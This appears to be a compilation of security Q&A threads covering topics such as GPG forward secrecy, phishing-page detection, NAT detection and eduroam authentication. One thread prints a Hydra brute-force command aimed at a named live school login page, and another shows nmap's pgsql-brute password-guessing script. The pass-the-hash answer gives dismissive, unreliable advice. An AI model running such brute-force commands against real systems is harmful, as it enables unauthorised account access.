Hotel reservation. How is this secure with only credit card number and expiry date? Until today I managed to avoid paying online with my credit card (I'm weird, I know...) but somehow I managed to do it.

Today though I had to book a hotel room (on booking.com) that required a deposit. I entered the card issuer, card number and card expiration date.

The card issuer is basically redundant since from the number you can get the issuer. So basically, with two basic pieces of information (credit card number and expiry date) anyone can pull money from my account.

If someone has some spy glasses and looks at my credit card over my shoulder while I pay for some groceries they can then pay for stuff with my credit card.

How is this thing safe?

Booking.com doesn't take a deposit or any payment from you; what you're filling in is a reservation form. The card details are used as a form of payment identity in case (a) you don't turn up and they need proof you intended to stay, or (b) you stay and run off without paying when checking out. They hotel still requires a present card for payment, or the CVV to do a card-not-present transaction, or cash if you choose to pay that way instead.

The bigger question of "is this secure" is more complicated. The simplest way to think about it is that there are a number of security controls in place to help prevent fraud, at various stages in the process (website, payment processor, bank), but even if these all fail the bank is insured against fraud, so you will get your money back if you use an appropriate card type. In general, credit cards offer superior and faster fraud protection in comparison to debit/bank cards.


Using PFS with GnuPG? Is it possible to use PFS with a PGP message?

$ gpg2 --encrypt --armor --something? --something? -r friend@email.com

PFS with GPG probably isn't possible -- otherwise everyone would be using it already, right? But I thought I'd ask anyway.

Forward secrecy occurs when you delete all copies of a key that exist anywhere in the world, thereby converting all past communications encrypted with that key into opaque garbage (until such a time when algorithms/computers are able to crack the key). Forward secrecy requires you to set up temporary keys that are impossible for anyone (including yourself) to find later on.

If you want to do forward secrecy with GPG, here are a couple of options:

Option 1: Release short-lived subkeys publicly, say, once every two weeks. People who want to send you encrypted stuff have to use the most recent one.
Option 2: Only publish a signing key, so people have to ask "Hey I want to send you something encrypted, what is your encryption key?". You then reply with a one-time-use public key (you sign this with your identity key to avoid MitM attack).

In each case you set up a finite time window (can be very short in the latter case) during which time you can read the message. Afterwards, you discard the key and your forward secrecy begins.

It is essential that you make the private key unrecoverable. This requires some care. Ideally your temporary key only stays in your computer's RAM or on a flammable piece of paper, because once it hits harddrive, it's very difficult to ensure all copies are wiped out. Unfortunately, GPG software typically requires secret keys to be stored on a secring file. Either A) create a temporary GPG keyring on a ramfs, or B) save on your drive but use a very strong randomized passphrase that you will discard. (don't store this phrase in a text editor; don't use tmpfs -- their memory may be swapped to harddrive)

If the message is very sensitive, you should take similar precautions to wipe out all copies of the cleartext or remove incriminating parts, after you decrypt it. If you want deniable authentication, that is a separate topic and requires some care.

If neither of the options above sounds like perfect forward secrecy, too bad --- that's as good as it gets in any protocol! Forward secrecy requires you to have full trust in your hardware and software for the entire time when your temporary key is live. It only guarantees that you are protected if you delete your key before your setup is compromised.


Is there any way to detect Phishing and Deceptive page ( social engineering ) I'm programmer and I have a website that allows users to upload their HTML websites to it.

The user will zip up a folder and then will upload it to my website where it will show up as sub-domain.

I don't allow PHP files or some other extension (only HTML and some stuff)

The problem I have now is that there are some bad users who are trying to upload some HTML file with social engineering contents (Facebook login , PayPal, etc)

Now Google is sending me notifications about these harmful links
and asks me to find a solution and remove this content.

As a programmer the only solution that i have is checking the file by myself  manually and it's so hard to do that.

Anyone have a solution for this problem? I found some free hosting that detects some social engineering contents immediately, so some workable solution must exist.

As long as you

allow javascript
or allow forms
or allow storage

then you are providing an exploitable asset for phishers.

As for detecting such sites...there are various approaches you can apply to catch the low hanging fruit such as word checking and bayesian filtering. You should also be monitoring your hids to see when new content appears.

But if it were me, I would also inject a (smallish) floating banner with something like "hosted by badr" into the html pages.


Can I prevent my neighbors, whom I pay for shared internet (WiFi), from seeing the sites I've visited? I pay my neighbors to use their WiFi. They have listed me as Guest with a separate password from theirs. Is there any way to prevent them from seeing the sites I've visited? My browser history clears automatically. Since they're in charge of the router, can they always see in real time what I'm browsing as I'm browsing? I'm assuming they won't be able to see where I've been since my history clears.

Yes they can but unless your neighbor has the required technical expertise, its highly doubtful.

To view incoming and outgoing traffic you need specific software to monitor network packets and the tech knowledge to actually do it. Most routers only keep a syslog and unless they are using software like wireshark to monitor/capture your packets, they cannot view the sites you have visited.

So unless he is a geek or a hacker (however amateur) there is usually nothing by default that records your traffic.

*Side Note: Clearing your browsing history is completely restricted to your local system and if they can/are monitoring, it will do you no good.

Alternatively, if your neighbor does have the required software and skills to monitor your traffic, you can use a proxy. By doing so the monitoring software will only show a lot of outgoing and incoming connections between you and the proxy, so even though they will know you are using a proxy, they can't see what sites you visited.

EDIT: as lorenzog correctly mentioned in the comments, for true sense of security and privacy, one should use a SSL Proxy to encrypt data sent and also tunnel DNS queries (which can be monitored by the router administrator) through the SSL proxy.


What is ScriptSafe's "Client Rectangles" and what information does it leak? Just wondering how this one affects the privacy and security because it breaks a lot of sites displaying images for example.

HTML5 Client Rectangles call is one of the abuse utilised by tracker/advertiser to profile the user(AKA Cavas fingerprinting).

Though this will not identify a person, but the tracking party can map the canvas resolution against the database( check this out :  Mobile Device database) carry out targeting ads, price discrimination, malicious advertisement, phishing , blackmail ads etc.


Detecting Pass-the-Hash I was wondering what you guys are doing to detect attacks like Pass-The-Hash within your network. I've read about Breachbox

http://www.darkreading.com/monitoring/researcher-to-open-source-tools-for-find/240156749

and would be interested to hear your thoughts how to detect the attack. For those who haven't come across how to fix Pass-the-Hash scriptjunkie is an excellent read

http://www.scriptjunkie.us/2013/06/fixing-pass-the-hash-and-other-problems/

First of all, I greatly recommend this article, which provides knowledge about the basics of some of the more common attacks, but also covers the pass-the-hash attack quite admirably. Now, it sounds to me like you are afraid that someone will (remotely) obtain administrator access to your computer and dump your hashes into their Lsass. You do not need to worry about this. If an attacker has admin. access to your computer, he could (and probably would prefer to) employ a keylogger or another such program to not only find out that password, but all of your other usernames and passwords. This could be mitigated to a process (a favorite seems to be explorer.exe) and run directly from your physical memory, thus making it undetectable to AV. Really, the most plausible way to stop someone from gaining any sort of remote access to your computer is to keep all of your programs up-to-date and to get a good AV program (Kaspersky, Avast, and AVG have good reputations). If I misinterpreted your statement, please respond and I will try to get back to you.


What are the practical differences between SELinux targeted mode and a capability based OS? I recently asked a question about the differences between capabilities and mandatory access controls.

Among the answers I got the point was made that systems like SE Linux in targeted mode are not a typical MAC system, as the concern is not about restricting information flow.

Then, in a framework like SE Linux targeted mode where the focus would seem to be on minimizing harm in the event of unauthorized access, how different is this in practice from a capability based system?

Note, I am only asking about the practical different, not the theoretical differences. Are different attacks possible on SELinux in targeted mode than on a capability based operating system? Can they both prevent access to the same granular level? Etc...

I think a lot of the problem with capability-based systems and our understanding of them is that there are few in the wild. However, you're in luck - FreeBSD have just added capsicum support to their 9.0 release. Capsicum is a research project to implement a [lightweight practical set of capabilities][1]. This work involved people at the Google Security Research team and includes an experimental chrome browser build designed to use the system.

What might be most of interest to you are the list of features:

  capabilities - refined file descriptors with fine-grained rights

Practically, will operate like SELinux, with obvious administration differences. Has analogies to type labels.

  process descriptors - capability-centric process ID replacement

Has analogies to SELinux domains. From a user perspective, may appear to be no different.

Now, in the next set of features you see why capabilities aren't yet in common usage:

  anonymous shared memory objects - an extension to the POSIX shared memory API to support anonymous swap objects associated with file descriptors (capabilities)
  rtld-elf-cap - modified ELF run-time linker to construct sandboxed applications
  libcapsicum - library to create and use capabilities and sandboxed components

Whereas SELinux requires kernel support and a policy and is ok to go from there, configuration problems aside, practically implementing capabilities requires a modified approach to the APIs available and subsequent preparation of applications to access them.

Now specifically to your questions:

  Can they both prevent access to the same granular level?

Roughly comparable, yes. SELinux can, for example, describe an application domain and give it access to a certain folder for reads only. Capability based systems would, when initialising the process, simply not hand it a capability to write to that path, or refuse such requests subsequently. It's the how they're implemented that varies.

  Are different attacks possible on SELinux in targeted mode than on a capability based operating system?

Honestly, it's quite hard to say. I don't know of any mass-deployed capability based operating system that's attracted sufficient interest to be seriously road tested. I expect, however, ultimately the goal will remain the same - persuade a process to execute code for you using its higher privileges (capabilities). They may vary to exploit the how in the same way buffer overflows vary depending on the program being targeted, but ultimately the fundamental goal is still the same.

You could always give it a go. There's also documentation on the API modifications I've talked about.

Disclaimer: I am not affiliated with the Capsicum Project, the University of Cambridge, or the FreeBSD Project in any way.


How to prevent a specific program from reading my files? My issue is more towards blocking a specific application/program (In this case, the Epic Games Launcher) from accessing my files. I know the best answer is just to remove that software. The reason that isn't an option is because the Unreal Engine in its newest version is only available on there.

For a specific example of its accessing of different programs not necessarily files, is that it checks my friends' lists on other programs without me giving it permission, and then makes recommendations even citing that I have friends on that platform that follow that recommendation.

I'm not sure if this is possible, and if it is, I would very much appreciate any help regarding it.

I have not heard of any software providing this functionality but windows itself gives you two options

1) run it under an account (runas command)that does not have permission to access your sensitive files

2) run it in a sandbox/ virtual environment like hyperV or virtualBox so your sensitive files literally don't exist in the context of the program executing


Using a decoy traffic while using the internet Since the ISP knows what sites I visit and they can assume or predict that I'm using Tor if they are monitoring my traffic, how can I distract them by making them see that I visit some particular site when I'm visiting some other site.

To put simply, say if I am browsing say Reddit, my ISP will instead see that I'm on security.stackexchange.com

You can not distract your ISP basically, there is no a human checking the traffic so he can be distracted. In general, ISP logs dns, ips, https and so on in the same way bro/snort/aiengine does. However there is some traffic generators that can make hard for an ISP to determine what you do, because basically you enter in 1000 sites every time. Have a look at https://github.com/ecapuano/web-traffic-generator for example, this may help you.


Why would I sign my git commits with a GPG key when I already use an SSH key to authenticate myself when I push? Simply put, I am wondering why would one need to sign one's commits with a GPG key when contributing to GitHub when one's already required to provide an SSH public key?

When you authenticate to Github with your SSH key, that authentication doesn't become part of the repository in any meaningful or lasting way.  It causes Github to give you access for the moment, but it doesn't prove anything to anyone who is not Github.

When you GPG-sign a git tag, that tag is part of the repository, and can be pushed to other copies of the repository.  Thus, other people who clone your repository can verify the signed tag, assuming that they have access to your public key and reason to trust it.

While it isn't necessary to tag and GPG-sign every single commit, it is wise to provide GPG-signed tags at least on each commit that corresponds to a released version of your code.  You may wish to do more than that, but that is the bare minimum of responsible behavior, as it provides reasonable assurance that:

The commit in question really does correspond to the release in question.
The commit in question (and to the degree that we trust the SHA1 hashes used in git commit history, all of its predecessors) came from the signer (and, if applicable, the signer's team).
The commit in question wasn't tampered with after the signer tagged it.

Note that I said "reasonable assurance", not "perfect certainty"...there are other things that can go wrong with software integrity.  However, providing signed tags at least for official releases is a huge step in the right direction.


Security concept for password management At the moment, I am struggling on a question to which I have not found a good answer so far.
I wan't to create a password manager, which will be used by a lot of people.

Used languages: PHP / Javascript (don't think JS should be used for any security-related things tho)

My concept so far:

Only (Framework-)Admins can assign rights
Access and/or write permissions can be assigned to:

User-groups
Single users

Anyone can create an entry, insofar as he has rights to the manager himself and then for the particular point he can see. (tree-structure)
Each entry is created as follows:

The key consists of a salt, which is hashed with sha256.
I chose "aes-256-cbc" as encryption method.
The "IV" is randomly generated with "openssl_random_pseudo_bytes".
Then I use the function "openssl_encrypt" to get the password-hash.
After that I use the function hash_hmac (sha256 again), to generate the hash, which will be stored in database.

But now I face the following problem that, as soon as someone gets access to the php-files,  all passwords would be compressed.

That's why I've considered the following:

I would like to encrypt each password additionally with the user password of the respective user. Although this would mean that each password must be created/stored x times, but this is not a problem.

The fact that the password can only be read out with the previous entry of the user password is not a problem, but desired.
However, this would mean that the access right to a password can only be assigned by an administrator who has already "unlocked" this entry.
But since passwords can also be created by other administrators, or even by users, this would mean that in order to encrypt these passwords, each user who wishes to have access (
which admins anyway have by default) needs at the same time the creator's (or a person who already has this entry) presence as well as his or her own to decrypt and re-encrypt the entry.

Well, theoretically I could also take the stored hashes of the user passwords from the database, but that would get me back to the point that once someone has file-level access, all passwords would be compromised.

Is there a good and reliable alternative for this? On the one hand, it would be a master password that has to be known by a creator in order to create an entry with which an entry is then stored initially. But that would be the unpleasant alternative.

Maybe something like a certificate or similar. I am thankful for any advice.
Thanks in advance!

If I understand correctly, PHP is only ever executed server side. If I’m correct in that, then high value user secrets are going to be transmitted to your server even if encrypt them right after you get them.

At this point I should disclose that I work for a popular password manager, but I’m not trying to discourage competition. But I do recommend that you look at how other password managers work. Some of us document how we do things and why. I’m not telling you not try to build a password manager, but to understand that it is much harder than you might think.

I confess to having not taken close look at your design, as I stopped at PHP, but I also see your mention of CBC mode encryption. While there are legacy systems that still do so today, you should not design anything with an unauthenticated mode, particularly CBC.


Should javascript and css ".map" source maps be included on production servers? Source maps are a convenient way to work with directly with code that has been obfuscated and/or minified, yet trace errors back to the original "pretty" code.

My understanding is that obfuscating and minifying code generally does not do anything useful from a security standpoint, so my instinct is that providing files that reverse this process shouldn't be a problem. And providing them can lead to better error reports and faster reproducing of live problems.

Is there any good security reason to include or restrict the presence of .map files on live production web servers?

Open Chrome dev tools on any site you know has a source map included, click sources tab and you will immediately see why including source maps on prod is a bad idea. You will get a tonne of information on project structure as stored on disk. This is a particular problem for modern sites that use a component based framework. I.e every view has its own controller, view and css partial.

On a site like this you will see the entire project file and folder structure as stored on the disk. This is dangerous for various reasons, not least the broad partial path disclosure and naming conventions you are giving away.


Is Java's probablePrime used in production? Prime numbers are core in security.
I saw this question about Java's probablePrime
and was wondering if that API/approach is indeed used for real production-ready security code or other approaches are preferred to ensure there is 0 possibility of using a non-prime number

The important part is "The probability that a BigInteger returned by this method is composite does not exceed 2e-100"
Hardware isn't perfectly reliable: https://community.hiveeyes.org/t/soft-errors-caused-by-single-event-upsets-seus/1891
Lets make some assumptions:

1 bit flip per day for a machine from cosmic rays

You could assume 1 bit flip per year per machine if you prefer - that is a factor of 2^8 in the answer.

2^38 bits (16GiB) memory in the machine
2^10 bits that flipping would invalidate the "definitely prime function"

The result itself (1 bit, but maybe 8 bits if a boolean is returned in a byte, or 32 bits if a boolean is returned in an int32_t)  - after running the test, there's likely to be a loop to try another number is the result is composite - but what if the function returns 'composite', but the cosmic ray flips that to 'prime'?

The number in memory (2^10 == 1024 == size of the prime used for 2048 bit RSA keys)

I'm assuming the definitely-prime function takes a copy of the number (into registers), so after starting, the original number in main memory could be changed by a bit flip. If this happens the result of the function will be for a different number than is in memory - and since primes are rare in the 2^1024 range, the new number will probably be composite.

The code that branches on the result - there is a branch instruction after running after the function (to decide if to try again) - but what if a branch-if-false is changed to a branch-if-true? Or a branch-never? Or changed to look at a different address or register?

86400 seconds in a day ~ 2^16 seconds/day

= 2^-38 chance for a bit to flip per day
= 2^-54 chance for a bit to flip per second (divide 2^-38 by 2^16)
= 2^-44 chance for a interesting bit to flip per second (multiply 2^-54 by number of interesting bits)
Therefore a definitely prime algorithm would need to run in 2^-54 seconds (longer than probablePrime) to be as certain as the probablePrime function.
That's much less than an instruction (2^-20 seconds?).
Otherwise the P(error(probablePrime)) < P(error(definitePrime + bit flips))
We use probablePrime because it's so much faster than definitelyPrime functions, and that makes it more reliable on real computers.
The numbers are far enough apart, that even if we say 1 bit flip in 2^25 seconds (about a year), it's still much less than 1 instruction that we can allow, before the risk of bit-flip is more than the uncertainty from probablePrime.


Are there any mechanisms to preload HTTP Public Key Pinning For HTTP Strict Transport Security (HSTS), there is a preload list, that site owners can submit their site to a list of domain names that the browser vendors ship their browsers with.

Are there any mechanisms similar to HSTS Preloading, that the site owners can "announce" the signature(s) of the public keys they will be using, so the browser knows what public keys to accept before its very first visit to that site?

I understand shipping a giant file with the public keys isn't practical, but I would be grateful if you could point me if there are any final or draft features that the site owners can announce them securely, and without making it possible for the rogue to trick clients to accept a public key that is not the actual key?

Yes, the major browsers use HPKP preload lists but there is currently no mechanism to submit your own pins (as opposed to the HSTS list).

The big vendors currently restrict the preloaded public key pins to their own properties and some high profile sites (Google, Facebook, Twitter, etc.).
The RFC on the Public Key Pinning extension also explicitly mentions that preload lists may be used:

2.7.  Interactions with Preloaded Pin Lists

   UAs MAY choose to implement additional sources of pinning
   information, such as through built-in lists of pinning information.
   Such UAs should allow users to override such additional sources,
   including disabling them from consideration.

   The effective policy for a Known Pinned Host that has both built-in
   Pins and Pins from previously observed PKP header response fields is
   implementation-defined.

For example, Mozilla Firefox is shipped with an HPKP preload list in PreloadedHPKPins.json.
They describe their policy for including built-in pins as follows:

  We will:

  Pin all of the sites that Chrome already does (Google, Twitter) by importing chromium's pinset.
  Pin our own sites after auditing them and cleaning them up.
  Pin other popular sites like Facebook that are in good shape already (with their cooperation, of course)

Presumably, vendors are not too keen to let everyone submit their pins because that would mean a lot of extra maintenance due to constant change and removal requests.


Vulnerability exploitation in Java I am not intimately familiar with Java, so this could be a stupid question.

In a C program I can find buffer overflows or may be a ROP based exploit to run custom code. How is it done in the context of Java? Is it even possible? In Java strings or other data types are all bounded and so overwriting memory is not possible. What about ROP kind of attacks?

Or more generically what are the typical attack vectors for a Java program?

You would be very lucky to find a case where you can directly execute code via a simple coding error in Java. It is possible that a bug in the implementation of the JVM allows memory corruption through benign code, but at worst phenomenally rare.

However, even within the JRE (OpenJDK) a portion of the libraries are written in C, and therefore contain memory corruption vulnerabilities when used with untrusted data. Rendering a malicious JPEG would be the canonical example.

There are lots of non-memory related bugs, such as injection (HTML, SQL, LDAP, HTTP headers, etc), but those in general wont lead you directly to remote code execution.

A far too common situation is where a handy library deliberately executes remote code without deliberate being enabled by the application programmer. Examples given in Secure Coding Guidelines for Java SE (5.0) Guideline 3-8 / INJECT-8: Take care interpreting untrusted code are certain feature in: the scripting API, LiveConnect, XSLT extensions, Long Term Persistence of JavaBeans Components, Java Sound, RMI, LDAP and certain JDBC/SQL implementations. An application may deliberately load mobile code, which leads to a whole other world.


Does an alternative approach to PKI technology exist? Currently all of the network is using PKI standards and we are facing many problems. I don't mean

every time and if new technologies arise we will also have to face the same, but for my curiosity.

Are there any alternative technologies available which completely don't use the approach of PKI?

The identifying characteristic of PKI (public key infrastructure) is that it requires certificate authorities, which can be a problem if they abuse the trust given to them.

There are some alternatives to the problem of verifying the owner of a public key without CAs, most of them are based on some sort of collective effort to establish trust, but currently most are not used in practice:

Trust on first use: just trust the owner when they first give you their key. An example for this is SSH.
Web of trust: decentralize the verification. An example is PGP.
Simple public-key infrastructure
Blockchain Based (pdf): decentralized PKI, based on collective trust
DNS-based Authentication of Named Entities (DANE)
if practical, you can always use a different channel (such as classical mail, or personal contact)


Is a VPN a good way to encrypt video stream data? Let'say I have a device with a camera, and this device should stream the video data to a server. I want to prevent people connected on the same network of the camera to eavesdropping on my video stream. If I setup a VPN client on the device and a VPN server on my server, can I be able to prevent succesfully eavesdropping on my unencrypted video stream?

Yes, a VPN will secure the connection between the camera device and the server. If its only for the RTSP (or similar) stream, then a SSL tunnel would also suffice and gives less overhead, and is easier to configure.


PHP files browsable: is this a vulnerability? I have a friend who has a website developed in PHP on which we can browse all his files one after one (of course, we can not read the content of the PHP files).

Do you think this is a security hole?
If yes, in which sense?

What you're describing is normal directory listing

In itself, directory listing is not a security issue. If the security of your system is compromised after figuring out the structure of your files and directories, then you're relying on security through obscurity, which is bad. Examples of this bad practice include:

Using secret directory names to access sensitive files.
Limiting the execution privileged functions to only access their URLs rather than using proper permissions.
Leaving special doors/backdoors for developers.

However, as part of a good security policy, after implementing proper security measures, it's beneficial to obscure the working parts of your system. The less you show about your system, the less information an attacker can get on you, which means you're making their job more difficult.

"So, what should I do?" you ask. Simple: Disable directory listing in your web server configurations. In Apache, you go to your httpd.conf and find the line where it says

Options Includes Indexes

Remove Indexes from the line, then restart your apache.


Is there a form to know the PostgreSQL version using nmap? I tried using the following command:

nmap -p 5432 -v --script pgsql-brute myhost

But I got no output related to the pgsql script nor the dbms version.

The pgsql-brute script performs password guessing (brute-forcing) against PostgreSQL databases. It does not retrieve any version information or display anything but successfully-guessed usernames and passwords.

A more useful command for getting information from a PostgreSQL database would be:

nmap -p 5432 -sV myhost

This performs service and application version detection on the database, and results in output like:

PORT     STATE SERVICE    VERSION
5432/tcp open  postgresql PostgreSQL DB 9.1.12 - 9.1.14

This is based on a line number in an error response to a probe to that port, and can usually narrow down the version to one of a handful of minor versions.


User entered Javascript security implications I'm creating a web site that lets people create their own site using a subdomain. Are there any security implications by letting people add custom javascript to their pages? If so, which ones? XSS? Cookie sniffing? Could I make it work by sanitising the html?

Right now I'm disallowing it, but it'd be great to let people decide for themselves. I've noticed Github hosted pages have user entered javascript on them.

The Same Origin Policy for DOM access isolates sub-domains,  therefor the impact of XSS is isolated to a specific sub-domain.   The Same Origin Policy for Cookie scope isolates sub-domains in that they cannot read or write another sub-domain's cookies.   Just make sure your main site is www.site.com and no cookie is scoped to *.site.com,  as this would be accessible (if it was an HTTPOnly cookie,  it would not be accessible from JavaScript regardless of its scope).


How can I determine whether a website somehow protects against brute force attacks on my password? (assume I can't create an anonymous account) After the hack of Mat Honan  I studied my own laundry list of accounts I have at the numerous web sites I use.  There is one fact that stands out:

Many of the websites severely restrict the size and character options of passwords.

Ironically, government and financial websites were the worst offenders.  One government site restricted passwords to 6-8 alphanumeric characters.  Some financial sites limited the size to 8 characters.

It seems that a try-every-possibility attack could be feasible unless the website implemented some kind of countermeasure.  Countermeasures against this type of attack are discussed here and here.

I am left with the following question:

How can I determine whether a website somehow protects against a brute force attack on my password? (assume I can't create an anonymous account)

Google reveals some indication that there exists applications and libraries to mount a probative attack of my own, I'd rather not risk drawing attention or causing denial of service.  It seems like there ought to be a less disruptive way of determining whether a countermeasure is implemented.

Follow on to address early answers:

I'm not asking about protecting a web site I control.  I am merely a user of the websites in question.
The financial and government accounts that I have are not easily created.  And definitely can't be created anonymously.  Attempting to brute-force an account I use (whether anonymous or not) jeopardizes its availability for my use.

THC-Hydra is one of the more mature online brute-forcing tools.   However if you are testing brute force susceptibility of a specific application then just trying logging in a number of times,  if they don't prompt you with a capthca then its vulnerable.   If you clear your cookies and the captcha goes away,  then its vulnerable.


Suggestions on satisfying security controls described in NIST SP 800-53? I recently started working on a project where my role is partially that of a cybersecurity engineer.  Reading through the NIST SP 800-53, I understand the necessity of the security controls assigned, but the process of implementing a plan to comply with the controls is a grueling process.

For example, I know that Splunk will be able to satisfy many of the Auditing controls, but I'm only aware of that because I've used it before.  Are there any publications or resources that offer suggestions for applications/methodologies to use to satisfy these security controls?

Probably too late, but first, I feel your pain. And to top it off, authorizing officials (AOs) usually want the controls documented in MS Word, a static solution that does not match the requirements of today's rapid release CI/CD pipelines. So after writing my first ATO by hand, I vowed never to do that again.

For starters, look at OpenControl which defines a machine-readable, YAML-based language for capturing control state, the system specific control text narrative and (ideally) a verification process. Experiment with OpenControl using the example project freedonia-compliance which uses compliance-masonry to generate the documentation.

I have used OpenControl to create markdown-based documentation in git for several federal clients. Then pandoc can be run against that to create the Word docs AOs want. (I have not yet managed to get an AO to look at git as, well, they have check boxes that need checking and git is not one of them. Things need to change...)

You might also want to look at GovReady, a security compliance company that we (CivicActions) are in partnership with. I am using their hyperGRC tool to help with creating System Security Plan (SSP) documentation, and we are currently exploring ways to attach real-time evidence gathering and control verification for ongoing authorization (the mantra of the RMFv2).

The next step is to integrate control management directly into the CI/CD pipeline so that as configurations change, so does the compliance documentation.

There's a similar project that NIST is working on called OSCAL (Open Security Controls Assessment Language) that looks promising. We are currently working with both schemas, and there is an oscalkit for conversion from OpenControl to OSCAL.


Using a Proxy to Log Http/s requests and Performance Evaluation I have to read http/https messages sent from a client system and see that the messages are not being modified within system by any malware and the server receives what exactly the user wants to send.

For Example, a User in an online Banking Transaction wants to send Amount $100 to Account 'A' and lets say that the message has been modified by a spurious program within system outside of users knowledge and sends it as $1000 ,Account 'B' before it is sent to the Server over the Network. I need to verify the details of the message before it is sent to the server.

Thus I want to use a Proxy to see what request is being sent to the Banking Server and display it to user. Then the User observes that it has changed to B,$1000 and immediately aborts or kills the request.

In this way I want to ensure the integrity of the details of a secure Transaction. For this reason, I need a Proxy which made me research about them and came up with these four proxies. As I am beginner in this area and don't know much about it. Want to know if any of these proxies work or Is there a better approach to work out my purpose.

Paros, BURP Free Version, Webscarab, SQUID.

If anyone has a better user friendly and useful proxy please feel free to suggest it

Thanks, Pavan.

To answer the original question : OWASP ZAP: https://www.owasp.org/index.php/ZAP
Its a fork of Paros, but has been significantly updated.
Its completely free, open source, and was voted the most popular security tool of 2013 by ToolsWatch.org readers: http://www.toolswatch.org/2013/12/2013-top-security-tools-as-voted-by-toolswatch-org-readers/

OK, I'm biased, as I'm the ZAP project lead ;)


Effects of enabling/disabling location request on a browser What does enabling/disabling geolocation access to a website on a browser actually mean?

If I disable access to a website, what information will be shared with that particular website server?
If I enable access to a website, what information will be shared with that particular website server?
How accurately can the website geolocate the user in both the above scenarios?

Location requesting involves using the geolocation API in JavaScript, and allows a website to obtain high-precision location information, usually by using the device's GPS and a combination of other sensors such as nearby Wi-Fi hotspots and cell towers. This allows websites to give you more relevant results based on your location. A hotel website might use that to automatically detect where you are and list nearby hotels. If you set your browser to deny location requests, it will simply not give your location to the website. The precision of the geolocation API can be very high, although accuracy varies.

Without location requesting, a website can still determine your approximate location based on your IP address. This is called GeoIP and cannot be avoided short of using a proxy to "change" the IP address you use. IP location info is generally very rough. Sometimes it can pinpoint the city block you live in, and other times it doesn't even get the city right. IP geolocation cannot be relied on for accuracy.

See also How does Google Maps know where I am, when I'm using a VPN?


How to detect Network Address Translation (NAT)? How can I detect if NAT is used in network or not?

I know if you have a private address and you are able to connect to a public network or the Internet, then there must be NAT.

But how can I detect that NAT is used in an internal network (which is not connected to Internet but uses NAT) or not?

Is there any way that we can check from IP packet or via some other method?

This question brought back some memories of when I created (with the help of a friend) a small tool to detect the presence of NAT in networks.

The idea is quite simple (inspired/stolen from the NAT traversal technique in IPSec):

You have network segment A and network segment B, and you want to detect the presence of a NAT between them.
Send a TCP packet containing, in its payload, an MD5 digest of your IP address and the source port from a host in segment A to a host in segment B.
Listen to the packet on the host in segment B. Once received, run the source IP and the source port through MD5 and compare the result with the hash in the payload.
Hashes match -> No NAT.

The tool consisted of two small A.exe and B.exe written in C++.

Note: As all NAT detection techniques out there, this solution works by crosschecking IP-port pairs. There's no other way that guarantees NAT detection.


How to make sure an API request is coming from a specific domain? I'm opening up some API access to my site and my users are required to specify from which of their websites, such as example.com, they will make the API requests.

I'm wondering if there's any way to verify that an HTTP request is indeed from a specific domain so I can make the user / domain accountable?

I'm assuming what you mean is that visitors to another site will make client side requests to your API, and you want to attribute these requests to that site.
There are several ways to go about this depending on how strong you need the authentication to be.
If you're just using the data for statistical purposes and maybe to stop unauthorized use from very unsophisticated attackers then you can use the HTTP referrer. This can of course be forged, so this won't be suitable if you require very strong authentication.
Another option is to use an API key / site ID that is passed along with all requests. An attacker could easily take the API key from one customer and abuse it, or use it on another site - but at least you can reissue the key/ID if it's abused unlike the referrer.
If you need very strong authentication then you'll have to have your customers generate a time limited signed token on the server side which the user then passes in their request to you. Basically, each customer would have a secret key on the server side and they'd use that to encrypt a message including a time limit - you can check that by decrypting it when the user passes it to you. You might be able to leverage something like http://jwt.io/ to do this. The disadvantage of this is that you can't do this completely on the server side, so your customers might have to make some changes to their application.


What auth info is locally revealed with eduroam WPA-Enterprise 802.1X? If you authenticated with your eduroam credentials at a participating institution, your home institution is the one doing the authentication of the credentials, and the host institution is only providing the internet access.

What 802.1X authentication information will the host eduroam institution be able to see?

I assume they won't see your password, but will likely see your domain name (in order to route your auth correctly, or is it somehow done centrally by some other authority?).  Will they see your username in full?

Eduroam's RADIUS configuration creates a TLS-secured tunnel between your device and your home RADIUS server for the RADIUS Access Challenge.

While the local institution's RADIUS server will see who you are (i.e. your username) (they have to, in order to know whether to authenticate you locally or send you out to the Eduroam network), the actual authentication using the password is done completely inside the tunnel.

Here is a sequence diagram from the documentation:

See the Eduroam US Technical Overview for System Administrators for more details.

NOTE: The RADIUS standard does allow you to specify a separate "outer identity" that the local server sees which is different from the one that you actually use for authentication. However, that is typically left unset by default. If you want to anonymize your username, Eduroam allows you to change the outer identity to anonymous@realm where realm is your university's domain.

If you set an outer identity, the local institution's RADIUS server uses the realm portion to determine where to send the request. While the local institution may be able to log the user portion of the outer identity, they do not use it for the authentication.  Therefore, it is technically possible for someone else to pretend to be you to the local institution while still authenticating as themselves to their home institution.  However, if the two institutions compare their RADIUS server logs, they will easily discover that the other person is pretending to be you.  There is no way to hide such things as malicious or criminal activity as long as both institutions are logging access to their servers (which I know that at least some Eduroam institutions are doing).
Additionally, the realm of the outer identity must be the correct one for your institution in order for the authentication to succeed, so there is no way to pretend that you are from a different institution.

For more information about this process, consult the paragraph above Figure 3 and Figure 3 itself on the page linked above.


Hydra https-form-post I have never experimented much with online password crackers. I attempted to use Hydra today on this website www.athena2.harker.org and I keep getting false positives.

This is what I have done so far:

pinged the website and obtained the IP address of 209.23.201.55
identified the form type, its an https-form-post

<form id="login" method="post" action="https://athena2.harker.org/login/index.php">

found the failure response: it's “Invalid login, please try again”
run this command

hydra 209.23.201.55 https-form-post "/login/index.php:username=^USER^&password=^PASS^&Login=Login:Invalid login" -l test -p test -t 10 -w 30 -o example.txt

Can someone tell me what I am doing wrong?

I work in IT for the school. We operate on the open source Moodle platform, and a student recently obtained administrator access, we are evaluating the strength of the passwords we issue. (6 digit/lowercase letter password). Don't assume people on this forum attack targets maliciously, penetration testing and computer security are legitimate fields, I thought everyone here would be aware of that.

You're attacking a live system, that is what you're doing wrong.

Please stop unless you have explicitly been contracted to break security on this service (i.e. You have a signed penetration testing contract with the server owners).

Edit:

It's good that you have permission to perform this test (I've seen a surprising number of similar questions where this isn't the case, and the users would be putting themselves at grave risk of prosecution).

So with the new information, your objective is to test the strength of passwords with 6 lower case letters.

You can do this theoretically. The maximum possible permutations are 26^6 = ~309 million. Take your login rate limit per unit time, and you can then figure out how long it would take to crack a password. With a properly configured web app, this method should never work (Assuming your admin passwords are random).
You can do this by taking the salted and hashed password file, and brute forcing it "offline". This more accurately simulates what would happen in an attack, and eliminates the risk that attacking the live system would cause a fault.


Is it safe to submit personal information over a website with a gray (not green) https? I am required to submit personal information as part of a form. I looked under developer tools and found this:[![screenshot of item displayed in developer tools][1]][1]

